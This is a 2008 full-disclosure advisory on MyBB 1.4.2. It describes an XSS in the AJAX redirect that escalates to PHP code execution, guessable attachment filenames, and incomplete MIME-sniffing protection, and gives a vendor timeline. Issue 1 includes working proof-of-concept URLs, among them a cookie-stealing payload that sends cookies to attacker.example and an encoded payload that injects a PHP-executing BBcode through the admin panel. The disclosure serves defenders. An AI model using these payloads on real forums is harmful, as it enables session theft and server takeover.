Message-ID: <fec013240810270815k4786db7fhfe3476ead90f91ae@mail.gmail.com>
Date: Mon, 27 Oct 2008 11:15:11 -0400
From: "Micheal Cottingham" <techie.micheal@...il.com>
To: Full-Disclosure <full-disclosure@...ts.grok.org.uk>,
	Bugtraq <bugtraq@...urityfocus.com>,
	"Vulnerabilitiy Report" <vuln@...unia.com>
Subject: MyBB 1.4.2: Multiple Vulnerabilties

======================================================================

Advisory: MyBB 1.4.2 - Multiple Vulnerabilities
Release Date: October 27 2008
Application: MyBB
Version: MyBB 1.4.2
Platform: PHP
Vendor URL: http://www.mybboard.net/
Authors: Kellanved, NeoThermic, Techie-Micheal

=======================================================================

Overview

Due to various failures in sanitising user input, MyBB is vulnerable
to XSS. This is enough to circumvent CSRF protection and to inject
PHP code. We deeply regret having to disclose this, but we were not
able receive an appropriate response due to the vendor claiming these
issues are not vulnerabilities when they are and their security tracker
being down.

Therefore, this is being released so that the users of MyBB will be
able to find a patch to keep them safe from these severe issues.

=======================================================================

Discussion

MyBB is a discussion board that has been around for a while; it has
evolved from other bulletin boards into the forum package it is today.
Therefore, it is a professional and efficient discussion board,
developed by an active team of developers.


Due to the misuse/improper validation of the url parameter during an AJAX
request, we were able to cause XSS, contrary to statements made
by the developers of MyBB. This XSS has the ability to cause
Remote Code Execution, making it critical in nature. As XSS can be easily
used to circumvent MyBB's CSRF protection, it is possible to inject PHP
code into the template via the ACP with any of the XSS issues. This is
facilitated by the constant form tokens used in MyBB and by the use of
PHP double-quoted strings as template variables. The former makes it easy
to write escalating exploits, the latter allows PHP injection using the
curly brace notation.

Secondly, it is possible to guess the attachment filenames based
on known factors, making it easy to break IE's poor MIME handling,
including IE8. Given the user ID and post time, uploaded files are easily
"guessed."

Lastly, due to an incomplete fix, MyBB does not properly fix a MIME-
sniffing issue, making it possible to exploit IE6-8.

=======================================================================


Issue 1: XSS using the AJAX switch for redirects

The redirect() function uses an AJAX switch to allow JavaScript redirects
instead of HTTP.

This can be exploited by using single quotes which are not escaped by
htmlspecialchars. This XSS is particularly grave, as it affects moderators
and administrators, allowing attackers to take actions with escalated
privileges, which can result in PHP and SQL injection (see recent vB exploits).

This was not fixed in 1.4.2.

PoC:
http://www.victim.example/mybb/moderation.php?action=removesubscriptions&ajax=1&url='
%2Balert('XSS!')//

Cookie Stealing PoC:
http://www.victim.example/mybb/moderation.php?action=removesubscriptions&ajax=1&url=%27%20%2B%27http://www.attacker.example/cookiejar.php?c=%27%2Bdocument.cookie//

Remote Code Execution PoC:
http://www.victim.example/mybb/moderation.php?action=removesubscriptions&ajax=1&url=%27%2Beval(%22u%3D%27application%2Fx-www-%27%2B%20%27form-urlencoded%27%22%2B%20String.fromCharCode(59)%20%2B%22c%3D%27Content-type%27%22%2B%20String.fromCharCode(59)%20%2B%22d%3D%27Content-length%27%22%2B%20String.fromCharCode(59)%20%2B%22reg%3Dnew%20XMLHttpRequest()%22%2B%20String.fromCharCode(59)%20%2B%22reg.open(%27GET%27%2C%20%27http%3A%2F%2Fwww.victim.example%2Fmybb%2Fadmin%2Findex.php%3Fmodule%3Dconfig%2Fmycode%26action%3Dadd%27%2C%20false)%22%2B%20String.fromCharCode(59)%20%2B%22reg.send(null)%22%2B%20String.fromCharCode(59)%20%2B%22r%3Dreg.responseText%22%2B%20String.fromCharCode(59)%20%2B%22t%3D%27http%3A%2F%2Fwww.victim.example%2Fmybb%2Fadmin%2Findex.php%3Fmodule%3Dconfig%2Fmycode%26action%3Dadd%27%22%2B%20String.fromCharCode(59)%20%2B%22t2%3D%27%26replacement%3D%241%26active%3D1%26my_post%22%20%20%20%20%2B%22_key%3D%27%2Br.substr(r.indexOf(%27my_post_%22%20%2B%22key%27%2B%20%27%27)%2B15%2C32)%22%2F*%20%20%20%20%20%20*%2F%2B%22%20%2B%27%26title%3DPwned%26description%27%2B%20%27%3Dfoo%26regex%3D%22%20%20%20%20%20%20%20%2B%22evil(.*)evil%2523e%2500test%27%22%2B%20String.fromCharCode(59)%20%2B%22r2%3Dnew%20XMLHttpRequest()%22%2B%20String.fromCharCode(59)%20%2B%22r2.open(%27POST%27%2Ct%2Cfalse)%22%2B%20String.fromCharCode(59)%20%2B%22r2.setRequestHeader(d%2Ct2.length)%22%2B%20String.fromCharCode(59)%20%2B%22r2.setRequestHeader(c%2Cu)%22%2B%20String.fromCharCode(59)%20%2B%22r2.sendAsBinary(t2)%22%2B%20String.fromCharCode(59))//


All that is required is an active admin session for cookie stealing and
Remote Code Execution.

This adds the BBcode evil and can be used as follows:

evilphpinfo()evil

Note: The %20 padding is necessary and must be custom-tailored to the
victim due to how
MyBB handles posting, if using the posting form. However, CSRF can be
used instead of posting
directly to the site.

Issue 2: "Guessing" of attachment filenames

On certain server setups running MyBB, it is possible to guess the filename
of an uploaded file. The code in question is this:

$filename = "post_".$mybb->user['uid']."_".time().".attach";

This creates a filename of the following: post_1234_[unix timestamp].attach.

This makes it very easy to guess the filename and bypass any sort of MIME-
sniffing protection. It also means privilege escalation, as attachments can
be read regardless of the user's permissions. It is not even hard to guess the
filename without knowing the post time - just a few million attempts due to the
weak randomization used.

Issue 3: Incomplete protection against MIME-sniffing.

MyBB fails to properly deliver uploaded files in a way that avoids
MIME-sniffing by the Internet Explorer family of browsers. This can
be exploited to upload files that will be interpreted as HTML by
Internet Explorer. As this vulnerability is present in many applications,
we will not provide a PoC.


None of the reported issues were fixed in the 1.4.2 release or since.

=======================================================================

History

August 18 2008: Vendor contacted
September 02 2008: Vendor contacted again, due to no response
September 03 2008: Vendor announced full source audit to be performed
by Gulftech
September 17 2008: Patch released, vulnerabilities incorrectly
credited to Gulftech, two out of three vulnerabilities left
exploitable, with the XSS and the MIME-sniffing
September 17 2008: After learning about the release from sources other
than the vendor, FD
September 23/24 2008: Emailed again in an attempt to ensure MyBB
understood the severity of the MIME-sniffing vulnerability and
alerting them to the XSS
October 05/06 2008: MyBB replied that the XSS was a non-issue
October 27 2008: Release after MyBB has failed to release a fix after
numerous attempts to explain the severity of the vulnerabilities,
Issue 2 was previously unreported

=======================================================================

=======================================================================

Solution

For users: Per usual, update as soon as a patch becomes available.

For MyBB: Give credit to researchers where due.

=======================================================================

Fun quote for the day (and mention of a really good book):

"What we found was startling: Security and coding flaws were so
prevalent that an attack might be delayed because the attacker might
get stuck trying to choose from all the different vulnerabilities to
exploit without knowing where to turn first. (Such delay tactics are
not recommended as a security strategy.)" - Aviel D. Rubin, Exploiting
Software: How to Break Code, Foreword

Powered by blists - more mailing lists